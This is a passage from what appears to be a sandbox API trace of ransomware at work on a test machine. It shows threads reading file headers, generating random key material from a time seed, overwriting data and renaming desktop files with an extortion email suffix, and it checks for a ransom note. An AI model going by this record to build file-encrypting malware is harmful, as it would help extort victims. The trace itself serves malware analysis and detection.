Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.724] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87080) returned 1 [0170.724] WriteFile (in: hFile=0x6dc, lpBuffer=0x3057d00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x3057d00*, lpNumberOfBytesWritten=0x1326fb9c*=0x8, lpOverlapped=0x0) returned 1 [0170.724] WriteFile (in: hFile=0x6dc, lpBuffer=0x1326fbb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x1326fbb4*, lpNumberOfBytesWritten=0x1326fb9c*=0x4, lpOverlapped=0x0) returned 1 [0170.724] WriteFile (in: hFile=0x6dc, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1326fb9c*=0x4, lpOverlapped=0x0) returned 1 [0170.725] WriteFile (in: hFile=0x6dc, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1326fb9c*=0x6c, lpOverlapped=0x0) returned 1 [0170.725] WriteFile (in: hFile=0x6dc, lpBuffer=0x3057e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x3057e68*, lpNumberOfBytesWritten=0x1326fb9c*=0x20, lpOverlapped=0x0) returned 1 [0170.725] WriteFile (in: hFile=0x6dc, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1326fb9c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1326fb9c*=0x4, lpOverlapped=0x0) returned 1 [0170.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e68) returned 1 [0170.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058070) returned 1 [0170.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0170.725] CloseHandle (hObject=0x6dc) returned 1 [0171.510] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f97f80 [0171.511] wcscpy (in: _Dest=0x2f97f80, _Source="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" [0171.511] wcscat (in: _Dest=0x2f97f80, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0171.511] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\-e-xp3jnb4ja5h.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.740] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97f80) returned 1 [0172.740] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-e-xP3jnb4JA5H.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.740] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.740] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.740] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.740] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.740] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.741] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3720) returned 1 [0172.741] RtlExitUserThread (Status=0x1) Thread: id = 1929 os_tid = 0xaec [0170.729] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.718] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.718] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x132efd0c | out: lpFileSize=0x132efd0c*=23345) returned 1 [0172.718] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x5b2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.718] ReadFile (in: hFile=0x5d4, lpBuffer=0x132efce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x132efce0*, lpNumberOfBytesRead=0x132efcdc*=0x4, lpOverlapped=0x0) returned 1 [0172.719] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.720] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.720] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.720] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.720] NtQuerySystemTime (in: CurrentTime=0x132efcb8 | out: CurrentTime=0x132efcb8*=132121213300295966) returned 0x0 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x16614098 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xe6a92989 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x2487126a [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x44becef9 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x1a1e9261 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x5fbe52c8 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x5ed8d3bc [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x7e097259 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x7b109291 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x1baf5aa0 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xef6ee4b3 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xb2316697 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xaa5f54c8 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xb5e1381c [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x873e7889 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x42dc36b8 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x284db85f [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x78af95d4 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xfbb721f6 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xe2378edc [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x7ffd0437 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xd45e40c8 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xec24315d [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x65b4705b [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xf1bbf575 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xfd3739fe [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xcc822dad [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xf8c464e4 [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xbdf3e5ec [0172.720] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xf39bc925 [0172.721] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0xb3757ba6 [0172.721] RtlRandom (in: Seed=0x132efcc4 | out: Seed=0x132efcc4) returned 0x9c0471b7 [0172.730] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30135a8 [0172.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582f0 [0172.732] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30135a8) returned 1 [0172.732] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.732] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.732] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x132efc90, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x132efc90*=0x4096, lpOverlapped=0x0) returned 1 [0172.732] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0172.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0172.732] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.732] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.733] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058318 [0172.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058318) returned 1 [0172.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30134b8) returned 1 [0172.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0172.733] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x132efc90, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x132efc90*=0x4096, lpOverlapped=0x0) returned 1 [0172.733] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.733] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x5b31, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.733] WriteFile (in: hFile=0x5d4, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x132efcc8, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x132efcc8*=0x20, lpOverlapped=0x0) returned 1 [0172.734] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.734] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x30582f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x30582f0*, lpNumberOfBytesWritten=0x132efcdc*=0x8, lpOverlapped=0x0) returned 1 [0172.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x132efcf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x132efcf4*, lpNumberOfBytesWritten=0x132efcdc*=0x4, lpOverlapped=0x0) returned 1 [0172.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x132efcdc*=0x4, lpOverlapped=0x0) returned 1 [0172.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x132efcdc*=0x6c, lpOverlapped=0x0) returned 1 [0172.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x132efcdc*=0x20, lpOverlapped=0x0) returned 1 [0172.734] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x132efcdc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x132efcdc*=0x4, lpOverlapped=0x0) returned 1 [0172.734] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.735] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.735] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582f0) returned 1 [0172.735] CloseHandle (hObject=0x5d4) returned 1 [0172.735] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff16d0 [0172.735] wcscpy (in: _Dest=0x2ff16d0, _Source="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" [0172.735] wcscat (in: _Dest=0x2ff16d0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.735] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\0wq9p__q.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.736] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.736] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff16d0) returned 1 [0172.736] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0wq9P__Q.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.736] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa43c0 [0172.737] wcscpy (in: _Dest=0x2fa43c0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.737] wcscat (in: _Dest=0x2fa43c0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.737] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa43c0) returned 1 [0172.737] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfdb0) returned 1 [0172.737] RtlExitUserThread (Status=0x1) Thread: id = 1930 os_tid = 0x838 [0170.729] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.697] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.698] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1336f9e0 | out: lpFileSize=0x1336f9e0*=40534) returned 1 [0172.698] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x9e52, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.698] ReadFile (in: hFile=0x5d4, lpBuffer=0x1336f9b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1336f9b4*, lpNumberOfBytesRead=0x1336f9b0*=0x4, lpOverlapped=0x0) returned 1 [0172.699] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.699] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058278 [0172.699] NtQuerySystemTime (in: CurrentTime=0x1336f98c | out: CurrentTime=0x1336f98c*=132121213300139680) returned 0x0 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x195961c7 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x6b29e608 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xecbaaf3e [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x9a3a6757 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x99ecc9d6 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xe7bfec3a [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xd57c70b [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xe0e41c19 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x208f6af5 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x3c098e11 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xbe65b059 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x3e680c56 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xc29755ef [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x5be1349c [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x9941d22a [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xe34dfa96 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xcc07b90 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x45eb6548 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x2bd67bb0 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xfbd0f8ed [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x8f12bf69 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xd044816e [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x6e251436 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x6aad5bef [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xf0d1ea51 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0xf4421448 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x259d51e2 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x75449e85 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x58722f06 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x2ef0d9e3 [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x5cd7d26e [0172.700] RtlRandom (in: Seed=0x1336f998 | out: Seed=0x1336f998) returned 0x92f21416 [0172.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0172.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.711] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0172.711] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.711] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.711] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.712] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1336f964, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1336f964*=0x4096, lpOverlapped=0x0) returned 1 [0172.713] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0172.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582f0 [0172.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582f0) returned 1 [0172.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.713] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582f0 [0172.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582f0) returned 1 [0172.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.713] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0172.713] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1336f964, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1336f964*=0x4096, lpOverlapped=0x0) returned 1 [0172.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.714] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x9e56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.714] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1336f99c, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x1336f99c*=0x20, lpOverlapped=0x0) returned 1 [0172.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.714] WriteFile (in: hFile=0x5d4, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x1336f9b0*=0x8, lpOverlapped=0x0) returned 1 [0172.714] WriteFile (in: hFile=0x5d4, 